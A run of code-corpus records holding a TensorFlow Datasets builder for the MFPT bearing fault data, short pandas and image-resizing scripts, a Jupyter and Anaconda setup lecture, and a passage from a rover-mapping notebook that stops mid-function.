"max_stars_repo_name": "UWSEDS/homework-4-documentation-and-style-sizhec-joy", "max_stars_repo_head_hexsha": "a3e5b81184252e538060de295e03c6982b00234c", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "test_dataframe.py", "max_issues_repo_name": "UWSEDS/homework-4-documentation-and-style-sizhec-joy", "max_issues_repo_head_hexsha": "a3e5b81184252e538060de295e03c6982b00234c", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2019-11-14T18:18:18.000Z", "max_issues_repo_issues_event_max_datetime": "2019-11-14T18:18:18.000Z", "max_forks_repo_path": "test_dataframe.py", "max_forks_repo_name": "UWSEDS/homework-4-documentation-and-style-sizhec-joy", "max_forks_repo_head_hexsha": "a3e5b81184252e538060de295e03c6982b00234c", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.9157894737, "max_line_length": 96, "alphanum_fraction": 0.6678672498, "include": true, "reason": "import numpy", "num_tokens": 886, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.11279539584450776, "lm_q1q2_score": 0.05375599039316471}}
{"text": "\"\"\"MFPT Condition Based Maintenance Fault Database.\n\"\"\"\n\nimport os\nimport pathlib\nimport itertools\nimport json\nimport numpy as np\nimport tensorflow as tf\nimport tensorflow_datasets as tfds\nimport pandas as pd\nfrom scipy.io import loadmat\n\n_DESCRIPTION = \"\"\"\nMFPT Condition Based Maintenance Fault Database.\n\nData Assembled and Prepared on behalf of MFPT by Dr Eric Bechhoefer, Chief Engineer, NRG Systems\n\nDescription\n===========\nThe data set comprises the following\n- 3 baseline conditions: 270 lbs of load, input shaft rate of 25 Hz, sample rate of 97,656 sps, for 6 seconds\n- 3 outer race fault conditions: 270 lbs of load, input shaft rate of 25 Hz, sample rate of 97,656 sps for 6 seconds\n- 7 outer race fault conditions: 25, 50, 100, 150, 200, 250 and 300 lbs of load, input shaft rate 25 Hz, sample rate of 48,828 sps for 3 seconds (bearing resonance was found be less than 20 kHz)\n- 7 inner race fault conditions: 0, 50, 100, 150, 200, 250 and 300 lbs of load, input shaft rate of 25 Hz, sample rate of 48,828 sps for 3 seconds\n- 3 real world example files are also included: an intermediate shaft bearing from a wind turbine (data structure holds bearing rates and shaft rate), an oil pump shaft bearing from a wind turbine, and a real world planet bearing fault).\n\nHomepage\n--------\nhttps://www.mfpt.org/fault-data-sets/\n\nOriginal data files\n===================\nFormat: Matlab\nSampling rate: not fixed\nNumber of channels: 1\nLabel: normal, faulty and unknown\nYear of acquisition: 2013\nSize: 59 Mb\n\nDownload\n--------\nhttps://www.mfpt.org/wp-content/uploads/2020/02/MFPT-Fault-Data-Sets-20200227T131140Z-001.zip\n\nModifications\n=============\nThe original split is not used in this package. Use the field of `DataLabel` or `FileName` to recover the information of split.\n\"\"\"\n\n_CITATION = \"\"\"\n@misc{bechhoefer_condition_2013,\n\ttitle = {Condition {Based} {Maintenance} {Fault} {Database} for {Testing} of {Diagnostic} and {Prognostics} {Algorithms}},\n\tshorttitle = {{MFPT} {Bearing} {Fault} {Dataset}},\n\turl = {https://www.mfpt.org/fault-data-sets/},\n\tabstract = {The goal of the Condition Based Maintenance Fault Database is to provide various data sets of known good and faulted conditions for both bearings and gears. This dataset is hereby freely distributed with example processing code with the hope that researchers and CBM practitioners will improve upon the techniques, and consequently, mature CBM systems, faster.},\n\tpublisher = {Society for Machinery Failure Prevention Technology},\n\tauthor = {Bechhoefer, Eric},\n\tyear = {2013},\n}\n\"\"\"\n\n_URL = 'https://www.mfpt.org/wp-content/uploads/2020/02/MFPT-Fault-Data-Sets-20200227T131140Z-001.zip'\n\n\n_META_MATCH = {\n  'rate': ('RotatingSpeed', lambda x: float(x)),\n  'load': ('LoadForce', lambda x: int(x)),\n  # 'gs': 'Signal',\n  'sr': ('SamplingRate', lambda x: int(x)),\n  # 'ball', 'cage', 'outer', 'inner'\n}\n\n_TYPE_MATCH = {\n  '1': 'Baseline',\n  '2': 'OuterRace',\n  '3': 'OuterRace',\n  '4': 'InnerRace',\n  '6': 'RealWorld'\n}\n\n\nclass MFPT(tfds.core.GeneratorBasedBuilder):\n  \"\"\"DatasetBuilder for MFPT dataset.\"\"\"\n\n  VERSION = tfds.core.Version('1.0.0')\n  RELEASE_NOTES = {\n      '1.0.0': 'Initial release.',\n  }\n\n  def _info(self) -> tfds.core.DatasetInfo:\n    \"\"\"Returns the dataset metadata.\"\"\"\n    # TODO(mfpt): Specifies the tfds.core.DatasetInfo object\n    return tfds.core.DatasetInfo(\n        builder=self,\n        description=_DESCRIPTION,\n        features=tfds.features.FeaturesDict({\n            # These are the features of your dataset like images, labels ...\n            'signal': tfds.features.Tensor(shape=(None,), dtype=tf.float64),\n\n            'label': tfds.features.ClassLabel(names=['Normal', 'Faulty', 'Unknown']),\n\n            'metadata': {\n              'SamplingRate': tf.uint32,  # up to 48,828 Hz\n              'RotatingSpeed': tf.float32,  # up to 25 Hz\n              'LoadForce': tf.float32,  # in [0, 300] lbs\n              'DataLabel': tf.string, # {'Baseline', 'OuterRace', 'InnerRace', 'RealWorld}\n              'FileName': tf.string,\n            }\n        }),\n        # If there's a common (input, target) tuple from the\n        # features, specify them here. They'll be used if\n        # `as_supervised=True` in `builder.as_dataset`.\n        supervised_keys=None,  # Set to `None` to disable\n        homepage='https://www.mfpt.org/fault-data-sets/',\n        citation=_CITATION,\n    )\n\n  def _split_generators(self, dl_manager: tfds.download.DownloadManager):\n    \"\"\"Return SplitGenerators.\n    \"\"\"\n    if dl_manager._manual_dir.exists():  # prefer to use manually downloaded data\n      datadir = dl_manager._manual_dir\n    else:  # automatically download data\n      _path = dl_manager.download_and_extract(_URL)\n      datadir = _path/'MFPT Fault Data Sets'\n\n    return {\n        'train': self._generate_examples(datadir),\n    }\n\n  def _generate_examples(self, path):\n    \"\"\"Yield examples.\n    \"\"\"\n    for fp in path.rglob('*.mat'):\n      # print(fp)\n      if fp.parent.name[0] in ['1', '2', '3', '4', '6']:\n        try:\n          dm = tfds.core.lazy_imports.scipy.io.loadmat(fp)\n          # dm = loadmat(fp)\n        except Exception as msg:\n          raise Exception(f\"Error in processing {fp}: {msg}\")\n\n        metadata = {}\n        for nn,vv in zip (dm['bearing'][0].dtype.names, dm['bearing'][0][0]):\n          try:\n            foo = _META_MATCH[nn.lower()]\n            try:\n              metadata[foo[0]] = foo[1](vv)\n            except:\n              metadata[foo[0]] = np.nan\n          except:\n            if nn.lower() == 'gs':\n              x = vv.squeeze()\n\n        metadata['DataLabel'] = _TYPE_MATCH[fp.parent.name[0]]\n        if metadata['DataLabel'] == 'Baseline':\n          label = 'Normal'\n        elif metadata['DataLabel'] in ['InnerRace', 'OuterRace']:\n          label = 'Faulty'\n        elif metadata['DataLabel'] == 'RealWorld':\n          label = 'Unknown'\n\n        metadata['FileName'] = fp.name\n\n        yield hash(frozenset(metadata.items())), {\n          'signal': x,\n          'label': label,\n          'metadata': metadata\n        }\n\n\n  # def _split_generators(self, dl_manager: tfds.download.DownloadManager):\n  #   \"\"\"Returns SplitGenerators.\"\"\"\n  #   # TODO(mfpt): Downloads the data and defines the splits\n  #   path = dl_manager.download_and_extract('https://todo-data-url')\n\n  #   # TODO(mfpt): Returns the Dict[split names, Iterator[Key, Example]]\n  #   return {\n  #       'train': self._generate_examples(path / 'train_imgs'),\n  #   }\n\n  # def _generate_examples(self, path):\n  #   \"\"\"Yields examples.\"\"\"\n  #   # TODO(mfpt): Yields (key, example) tuples from the dataset\n  #   for f in path.glob('*.jpeg'):\n  #     yield 'key', {\n  #         'image': f,\n  #         'label': 'yes',\n  #     }\n", "meta": {"hexsha": "f874b842428c0280a52cf3b9fe01b6af0a11a580", "size": 6719, "ext": "py", "lang": "Python", "max_stars_repo_path": "dpmhm/datasets/mfpt/mfpt.py", "max_stars_repo_name": "yanncalec/dpmhm", "max_stars_repo_head_hexsha": "0a242bc8add0ba1463bb2b63b2c15abb80b83fa7", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "dpmhm/datasets/mfpt/mfpt.py", "max_issues_repo_name": "yanncalec/dpmhm", "max_issues_repo_head_hexsha": "0a242bc8add0ba1463bb2b63b2c15abb80b83fa7", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "dpmhm/datasets/mfpt/mfpt.py", "max_forks_repo_name": "yanncalec/dpmhm", "max_forks_repo_head_hexsha": "0a242bc8add0ba1463bb2b63b2c15abb80b83fa7", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.3631578947, "max_line_length": 375, "alphanum_fraction": 0.641315672, "include": true, "reason": "import numpy,from scipy", "num_tokens": 1757, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.45713671682749474, "lm_q2_score": 0.11757214436736566, "lm_q1q2_score": 0.053746544066465764}}
{"text": "import matplotlib as plt\n\nimport numpy as np\nimport pandas as pd\n\n#pd loads the dat into dataframe\ndf=pd.read_csv('PastHires.csv')\n\n#read the first few values from a dataflame\nprint(df.head()) #the default being 5\nprint(df.head(10)) # one can specify the vales that they need to view.\n\nprint(df.tail()) #prints the last five records \nprint(df.tail(10)) #prints the last specific records\n\n\nprint(df.shape) #used to get the number rows and columns\nprint(df.size) #used to get the total number of cells in the data\n \n \nprint(df.columns) #used to get the name of columns in the data frame.\n\nprint(df['Hired']) \n                    #used to extract data from the given column and load it \n                    #load it to a new df. Mostly only some few columns are need for\n                    #data manipulation. They a\n                   \n\nprint(df[\"Hired\"][:5]) #used to extract the first five rows from\n                  #the selected columns\n\nprint(df[\"Hired\"][5]) #used to extract an exact value\n\ndegree_counts= df['Level of Education'].value_counts()\n#to print the number of unique data values in a df\nprint(degree_counts)\n\ndegree_counts.plot(kind='bar')\n\n\n", "meta": {"hexsha": "306d8a9427844f5cbbbaed0388ba5ea227c4d7d4", "size": 1158, "ext": "py", "lang": "Python", "max_stars_repo_path": "tabular_data.py", "max_stars_repo_name": "samuelmaina/Data_Science", "max_stars_repo_head_hexsha": "c9377565ae4ba60bf2d17b592122df2056b6ba96", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "tabular_data.py", "max_issues_repo_name": "samuelmaina/Data_Science", "max_issues_repo_head_hexsha": "c9377565ae4ba60bf2d17b592122df2056b6ba96", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tabular_data.py", "max_forks_repo_name": "samuelmaina/Data_Science", "max_forks_repo_head_hexsha": "c9377565ae4ba60bf2d17b592122df2056b6ba96", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 28.243902439, "max_line_length": 83, "alphanum_fraction": 0.6822107081, "include": true, "reason": "import numpy", "num_tokens": 275, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4571367168274948, "lm_q2_score": 0.11757212117767352, "lm_q1q2_score": 0.05374653346560604}}
{"text": "import numpy as np\nfrom ipywidgets import interact, fixed\nfrom PIL import Image\n\ndef imshow(X, resize=None):\n    \"\"\"\n    You should create a way to resize an image from an array X.\n    The use of widgets is optional but you can take a look to interact.\n    We should be able to install this package in Google Colab from your Git repo.\n    \"\"\"\n    im = Image.fromarray(X)\n    if resize:\n        # assuming resize is a tuple specifing the new size\n        im = im.resize(resize)\n    # assuming the function is supposed to also show the image since its name is imshow.\n    #im.show()\n    display(im)\n    #print(list(im.getdata()))\n\n", "meta": {"hexsha": "44afe6cadd68af04dabbde49220118a351492c06", "size": 629, "ext": "py", "lang": "Python", "max_stars_repo_path": "up03iton/function.py", "max_stars_repo_name": "maxi4r/up03iton", "max_stars_repo_head_hexsha": "f9c38b26c062dc6791740eb2010718fafefd6dfc", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "up03iton/function.py", "max_issues_repo_name": "maxi4r/up03iton", "max_issues_repo_head_hexsha": "f9c38b26c062dc6791740eb2010718fafefd6dfc", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "up03iton/function.py", "max_forks_repo_name": "maxi4r/up03iton", "max_forks_repo_head_hexsha": "f9c38b26c062dc6791740eb2010718fafefd6dfc", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.45, "max_line_length": 88, "alphanum_fraction": 0.6820349762, "include": true, "reason": "import numpy", "num_tokens": 148, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.3629692055196168, "lm_q2_score": 0.14804719991116141, "lm_q1q2_score": 0.05373657453115814}}
{"text": "(getting_started)=\n\n# Setting up Your Python Environment\n\n## Overview\n\nIn this lecture, you will learn how to\n\n1.  get a Python environment up and running\n2.  execute simple Python commands\n3.  run a sample program\n4.  install the code libraries that underpin these lectures\n\n## Anaconda\n\nThe [core Python package](https://www.python.org/downloads/) is easy to\ninstall but *not* what you should choose for these lectures.\n\nThese lectures require the entire scientific programming ecosystem,\nwhich\n\n-   the core installation doesn\\'t provide\n-   is painful to install one piece at a time.\n\nHence the best approach for our purposes is to install a Python\ndistribution that contains\n\n1.  the core Python language **and**\n2.  compatible versions of the most popular scientific libraries.\n\n\nThe best such distribution is\n[Anaconda](https://www.anaconda.com/what-is-anaconda/).\n\nAnaconda is\n\n-   very popular\n-   cross-platform\n-   comprehensive\n-   completely unrelated to the Nicki Minaj song of the same name\n\nAnaconda also comes with a great package management system to organize\nyour code libraries.\n\n```{note}\nAll of what follows assumes that you adopt this recommendation!\n```\n\n(install_anaconda)=\n\n### Installing Anaconda\n\nTo install Anaconda, [download](https://www.anaconda.com/download/) the\nbinary and follow the instructions.\n\nImportant points:\n\n-   Install the latest version!\n-   If you are asked during the installation process whether you\\'d like\n    to make Anaconda your default Python installation, say yes.\n\n### Updating Anaconda\n\nAnaconda supplies a tool called `conda` to manage and\nupgrade your Anaconda packages.\n\nOne `conda` command you should execute regularly is the one\nthat updates the whole Anaconda distribution.\n\nAs a practice run, please execute the following\n\n1.  Open up a terminal\n2.  Type `conda update anaconda`\n\nFor more information on `conda`, type `conda\nhelp` in a terminal.\n\n(ipython_notebook)=\n\n## Jupyter Notebooks\n\n[Jupyter](http://jupyter.org/) notebooks are one of the many possible\nways to interact with Python and the scientific libraries.\n\nThey use a *browser-based* interface to Python with\n\n-   The ability to write and execute Python commands.\n-   Formatted output in the browser, including tables, figures,\n    animation, etc.\n-   The option to mix in formatted text and mathematical expressions.\n\nBecause of these features, Jupyter is now a major player in the\nscientific computing ecosystem.\n\n{numref}`Figure %s <jp_demo>` shows the execution of some code (borrowed from\n[here](http://matplotlib.org/examples/pylab_examples/hexbin_demo.html))\nin a Jupyter notebook\n\n```{figure} /_static/lecture_specific/getting_started/jp_demo.png\n:scale: 50%\n:name: jp_demo\n\nA Jupyter notebook viewed in the browser\n```\n\nWhile Jupyter isn\\'t the only way to code in Python, it\\'s great for\nwhen you wish to\n\n-   get started\n-   test new ideas or interact with small pieces of code\n-   share scientific ideas with students or colleagues\n\n\n### Starting the Jupyter Notebook\n\nOnce you have installed Anaconda, you can start the Jupyter notebook.\n\nEither\n\n-   search for Jupyter in your applications menu, or\n-   open up a terminal and type `jupyter notebook`\n    - Windows users should substitute \\\"Anaconda command prompt\\\" for \\\"terminal\\\" in the previous line.\n\nIf you use the second option, you will see something like this\n\n```{figure} /_static/lecture_specific/getting_started/starting_nb.png\n:scale: 50%\n```\n\nThe output tells us the notebook is running at `http://localhost:8888/`\n\n-   `localhost` is the name of the local machine\n-   `8888` refers to [port number](https://en.wikipedia.org/wiki/Port_%28computer_networking%29)\n    8888 on your computer\n\nThus, the Jupyter kernel is listening for Python commands on port 8888 of our\nlocal machine.\n\nHopefully, your default browser has also opened up with a web page that\nlooks something like this\n\n```{figure} /_static/lecture_specific/getting_started/nb.png\n:scale: 50%\n```\n\nWhat you see here is called the Jupyter *dashboard*.\n\nIf you look at the URL at the top, it should be `localhost:8888` or\nsimilar, matching the message above.\n\nAssuming all this has worked OK, you can now click on `New` at the top\nright and select `Python 3` or similar.\n\nHere\\'s what shows up on our machine:\n\n```{figure} /_static/lecture_specific/getting_started/nb2.png\n:scale: 50%\n```\n\nThe notebook displays an *active cell*, into which you can type Python\ncommands.\n\n### Notebook Basics\n\nLet\\'s start with how to edit code and run simple programs.\n\n#### Running Cells\n\nNotice that, in the previous figure, the cell is surrounded by a green\nborder.\n\nThis means that the cell is in *edit mode*.\n\nIn this mode, whatever you type will appear in the cell with the\nflashing cursor.\n\nWhen you\\'re ready to execute the code in a cell, hit `Shift-Enter`\ninstead of the usual `Enter`.\n\n```{figure} /_static/lecture_specific/getting_started/nb3.png\n:scale: 50%\n```\n\n(Note: There are also menu and button options for running code in a cell\nthat you can find by exploring)\n\n#### Modal Editing\n\nThe next thing to understand about the Jupyter notebook is that it uses\na *modal* editing system.\n\nThis means that the effect of typing at the keyboard **depends on which\nmode you are in**.\n\nThe two modes are\n\n1.  Edit mode\n    -   Indicated by a green border around one cell, plus a blinking cursor\n    -   Whatever you type appears as is in that cell\n2.  Command mode\n    -   The green border is replaced by a grey (or grey and blue) border\n    -   Keystrokes are interpreted as commands --- for example, typing `b` adds a new cell below the current one\n\nTo switch to\n-   command mode from edit mode, hit the `Esc` key or `Ctrl-M`\n-   edit mode from command mode, hit `Enter` or click in a cell\n\nThe modal behavior of the Jupyter notebook is very efficient when you\nget used to it.\n\n#### Inserting Unicode (e.g., Greek Letters)\n\nPython supports [unicode](https://docs.python.org/3/howto/unicode.html),\nallowing the use of characters such as $\\alpha$ and $\\beta$ as names in\nyour code.\n\nIn a code cell, try typing `\\alpha` and then hitting the\n`tab` key on your keyboard.\n\n(a_test_program)=\n\n#### A Test Program\n\nLet\\'s run a test program.\n\nHere\\'s an arbitrary program we can use:\n<http://matplotlib.org/3.1.1/gallery/pie_and_polar_charts/polar_bar.html>.\n\nOn that page, you\\'ll see the following code\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n%matplotlib inline\n\n# Fixing random state for reproducibility\nnp.random.seed(19680801)\n\n# Compute pie slices\nN = 20\n\u03b8 = np.linspace(0.0, 2 * np.pi, N, endpoint=False)\nradii = 10 * np.random.rand(N)\nwidth = np.pi / 4 * np.random.rand(N)\ncolors = plt.cm.viridis(radii / 10.)\n\nax = plt.subplot(111, projection='polar')\nax.bar(\u03b8, radii, width=width, bottom=0.0, color=colors, alpha=0.5)\n\nplt.show()\n\nDon\\'t worry about the details for now --- let\\'s just run it and see\nwhat happens.\n\nThe easiest way to run this code is to copy and paste it into a cell in\nthe notebook.\n\nHopefully you will get a similar plot.\n\n### Working with the Notebook\n\nHere are a few more tips on working with Jupyter notebooks.\n\n#### Tab Completion\n\nIn the previous program, we executed the line `import numpy as np`\n\n-   NumPy is a numerical library we\\'ll work with in depth.\n\nAfter this import command, functions in NumPy can be accessed with\n`np.function_name` type syntax.\n\n-   For example, try `np.random.randn(3)`.\n\nWe can explore these attributes of `np` using the `Tab` key.\n\nFor example, here we type `np.ran` and hit Tab\n\n```{figure} /_static/lecture_specific/getting_started/nb6.png\n:scale: 50%\n```\n\nJupyter offers up the two possible completions, `random` and `rank`.\n\nIn this way, the Tab key helps remind you of what\\'s available and also\nsaves you typing.\n\n(gs_help)=\n\n#### On-Line Help\n\nTo get help on `np.rank`, say, we can execute `np.rank?`.\n\nDocumentation appears in a split window of the browser, like so\n\n```{figure} /_static/lecture_specific/getting_started/nb6a.png\n:scale: 50%\n```\n\nClicking on the top right of the lower split closes the on-line help.\n\n#### Other Content\n\nIn addition to executing code, the Jupyter notebook allows you to embed\ntext, equations, figures and even videos in the page.\n\nFor example, here we enter a mixture of plain text and LaTeX instead of\ncode\n\n```{figure} /_static/lecture_specific/getting_started/nb7.png\n:scale: 50%\n```\n\nNext we `Esc` to enter command mode and then type `m` to indicate that\nwe are writing [Markdown](http://daringfireball.net/projects/markdown/),\na mark-up language similar to (but simpler than) LaTeX.\n\n(You can also use your mouse to select `Markdown` from the `Code`\ndrop-down box just below the list of menu items)\n\nNow we `Shift+Enter` to produce this\n\n```{figure} /_static/lecture_specific/getting_started/nb8.png\n:scale: 50%\n```\n\n### Sharing Notebooks\n\nNotebook files are just text files structured in\n[JSON](https://en.wikipedia.org/wiki/JSON) and typically ending with\n`.ipynb`.\n\nYou can share them in the usual way that you share files --- or by\nusing web services such as [nbviewer](http://nbviewer.jupyter.org/).\n\nThe notebooks you see on that site are **static** html representations.\n\nTo run one, download it as an `ipynb` file by clicking on the download\nicon.\n\nSave it somewhere, navigate to it from the Jupyter dashboard and then\nrun as discussed above.", "meta": {"hexsha": "ab8b261b57468dfbe1d062479df217ef508027f4", "size": 9330, "ext": "py", "lang": "Python", "max_stars_repo_path": "mini_book/_build/jupyter_execute/docs/getting_started.py", "max_stars_repo_name": "rebeccajohnson88/qss20_win22_coursepage", "max_stars_repo_head_hexsha": "cbe96d3e1e04d6e5d3de5e55acf8d65207cea0a0", "max_stars_repo_licenses": ["CC0-1.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-04-01T18:42:36.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-01T18:42:36.000Z", "max_issues_repo_path": "mini_book/_build/jupyter_execute/docs/getting_started.py", "max_issues_repo_name": "rebeccajohnson88/qss20", "max_issues_repo_head_hexsha": "f936e77660e551bb10a82abb96a36369ccbf3d18", "max_issues_repo_licenses": ["CC0-1.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2021-02-14T22:36:59.000Z", "max_issues_repo_issues_event_max_datetime": "2021-02-24T23:33:24.000Z", "max_forks_repo_path": "mini_book/_build/jupyter_execute/docs/getting_started.py", "max_forks_repo_name": "rebeccajohnson88/qss20_win22_coursepage", "max_forks_repo_head_hexsha": "cbe96d3e1e04d6e5d3de5e55acf8d65207cea0a0", "max_forks_repo_licenses": ["CC0-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.4411764706, "max_line_length": 112, "alphanum_fraction": 0.7485530547, "include": true, "reason": "import numpy", "num_tokens": 2320, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.1540575510396274, "lm_q2_score": 0.3486451217982255, "lm_q1q2_score": 0.05371141364614723}}
{"text": "\r\n# coding: utf-8\r\n\r\n# ## Rover Project Test Notebook\r\n# This notebook contains the functions from the lesson and provides the scaffolding you need to test out your mapping methods.  The steps you need to complete in this notebook for the project are the following:\r\n# \r\n# * First just run each of the cells in the notebook, examine the code and the results of each.\r\n# * Run the simulator in \"Training Mode\" and record some data. Note: the simulator may crash if you try to record a large (longer than a few minutes) dataset, but you don't need a ton of data, just some example images to work with.   \r\n# * Change the data directory path (2 cells below) to be the directory where you saved data\r\n# * Test out the functions provided on your data\r\n# * Write new functions (or modify existing ones) to report and map out detections of obstacles and rock samples (yellow rocks)\r\n# * Populate the `process_image()` function with the appropriate steps/functions to go from a raw image to a worldmap.\r\n# * Run the cell that calls `process_image()` using `moviepy` functions to create video output\r\n# * Once you have mapping working, move on to modifying `perception.py` and `decision.py` to allow your rover to navigate and map in autonomous mode!\r\n# \r\n# **Note: If, at any point, you encounter frozen display windows or other confounding issues, you can always start again with a clean slate by going to the \"Kernel\" menu above and selecting \"Restart & Clear Output\".**\r\n# \r\n# **Run the next cell to get code highlighting in the markdown cells.**\r\n\r\n# In[2]:\r\n\r\n\r\nget_ipython().run_cell_magic('HTML', '', '<style> code {background-color : orange !important;} </style>')\r\n\r\n\r\n# In[1]:\r\n\r\n\r\nget_ipython().run_line_magic('matplotlib', 'inline')\r\n#%matplotlib qt # Choose %matplotlib qt to plot to an interactive window (note it may show up behind your browser)\r\n# Make some of the relevant imports\r\nimport cv2 # OpenCV for perspective transform\r\nimport numpy as np\r\nimport matplotlib.image as mpimg\r\nimport matplotlib.pyplot as plt\r\nimport scipy.misc # For saving images as needed\r\nimport glob  # For reading in a list of images from a folder\r\nimport imageio\r\nimageio.plugins.ffmpeg.download()\r\n\r\n\r\n# ## Quick Look at the Data\r\n# There's some example data provided in the `test_dataset` folder.  This basic dataset is enough to get you up and running but if you want to hone your methods more carefully you should record some data of your own to sample various scenarios in the simulator.  \r\n# \r\n# Next, read in and display a random image from the `test_dataset` folder\r\n\r\n# In[3]:\r\n\r\n\r\npath = '../test_dataset/IMG/*'\r\nimg_list = glob.glob(path)\r\n# Grab a random image and display it\r\nidx = np.random.randint(0, len(img_list)-1)\r\nimage = mpimg.imread(img_list[idx])\r\nplt.imshow(image)\r\n\r\n\r\n# ## Calibration Data\r\n# Read in and display example grid and rock sample calibration images.  You'll use the grid for perspective transform and the rock image for creating a new color selection that identifies these samples of interest. \r\n\r\n# In[4]:\r\n\r\n\r\n# In the simulator you can toggle on a grid on the ground for calibration\r\n# You can also toggle on the rock samples with the 0 (zero) key.  \r\n# Here's an example of the grid and one of the rocks\r\nexample_grid = '../calibration_images/example_grid1.jpg'\r\nexample_rock = '../calibration_images/example_rock1.jpg'\r\ngrid_img = mpimg.imread(example_grid)\r\nrock_img = mpimg.imread(example_rock)\r\n\r\nfig = plt.figure(figsize=(12,3))\r\nplt.subplot(121)\r\nplt.imshow(grid_img)\r\nplt.subplot(122)\r\nplt.imshow(rock_img)\r\n\r\n\r\n# ## Perspective Transform\r\n# \r\n# Define the perspective transform function from the lesson and test it on an image.\r\n\r\n# In[6]:\r\n\r\n\r\n# Define a function to perform a perspective transform\r\n# I've used the example grid image above to choose source points for the\r\n# grid cell in front of the rover (each grid cell is 1 square meter in the sim)\r\n# Define a function to perform a perspective transform\r\ndef perspect_transform(img, src, dst):\r\n           \r\n    M = cv2.getPerspectiveTransform(src, dst)\r\n    warped = cv2.warpPerspective(img, M, (img.shape[1], img.shape[0]))# keep same size as input image\r\n    \r\n    return warped\r\n\r\n\r\n# Define calibration box in source (actual) and destination (desired) coordinates\r\n# These source and destination points are defined to warp the image\r\n# to a grid where each 10x10 pixel square represents 1 square meter\r\n# The destination box will be 2*dst_size on each side\r\ndst_size = 5 \r\n# Set a bottom offset to account for the fact that the bottom of the image \r\n# is not the position of the rover but a bit in front of it\r\n# this is just a rough guess, feel free to change it!\r\nbottom_offset = 6\r\nsource = np.float32([[14, 140], [301 ,140],[200, 96], [118, 96]])\r\ndestination = np.float32([[image.shape[1]/2 - dst_size, image.shape[0] - bottom_offset],\r\n                  [image.shape[1]/2 + dst_size, image.shape[0] - bottom_offset],\r\n                  [image.shape[1]/2 + dst_size, image.shape[0] - 2*dst_size - bottom_offset], \r\n                  [image.shape[1]/2 - dst_size, image.shape[0] - 2*dst_size - bottom_offset],\r\n                  ])\r\nwarped = perspect_transform(grid_img, source, destination)\r\nplt.imshow(warped)\r\n#scipy.misc.imsave('../output/warped_example.jpg', warped)\r\n\r\n\r\n# ## Color Thresholding\r\n# Define the color thresholding function from the lesson and apply it to the warped image\r\n# \r\n# **TODO:** Ultimately, you want your map to not just include navigable terrain but also obstacles and the positions of the rock samples you're searching for.  Modify this function or write a new function that returns the pixel locations of obstacles (areas below the threshold) and rock samples (yellow rocks in calibration images), such that you can map these areas into world coordinates as well.  \r\n# **Hints and Suggestion:** \r\n# * For obstacles you can just invert your color selection that you used to detect ground pixels, i.e., if you've decided that everything above the threshold is navigable terrain, then everthing below the threshold must be an obstacle!\r\n# \r\n# \r\n# * For rocks, think about imposing a lower and upper boundary in your color selection to be more specific about choosing colors.  You can investigate the colors of the rocks (the RGB pixel values) in an interactive matplotlib window to get a feel for the appropriate threshold range (keep in mind you may want different ranges for each of R, G and B!).  Feel free to get creative and even bring in functions from other libraries.  Here's an example of [color selection](http://opencv-python-tutroals.readthedocs.io/en/latest/py_tutorials/py_imgproc/py_colorspaces/py_colorspaces.html) using OpenCV.  \r\n# \r\n# * **Beware However:** if you start manipulating images with OpenCV, keep in mind that it defaults to `BGR` instead of `RGB` color space when reading/writing images, so things can get confusing.\r\n\r\n# In[7]:\r\n\r\n\r\n# Identify pixels above the threshold\r\n# Threshold of RGB > 160 does a nice job of identifying ground pixels only\r\ndef color_thresh(img, rgb_thresh=(160, 160, 160)):\r\n    # Create an array of zeros same xy size as img, but single channel\r\n    color_select = np.zeros_like(img[:,:,0])\r\n    # Require that each pixel be above all three threshold values in RGB\r\n    # above_thresh will now contain a boolean array with \"True\"\r\n    # where threshold was met\r\n    above_thresh = (img[:,:,0] > rgb_thresh[0])                 & (img[:,:,1] > rgb_thresh[1])                 & (img[:,:,2] > rgb_thresh[2])\r\n    # Index the array of zeros with the boolean array and set to 1\r\n    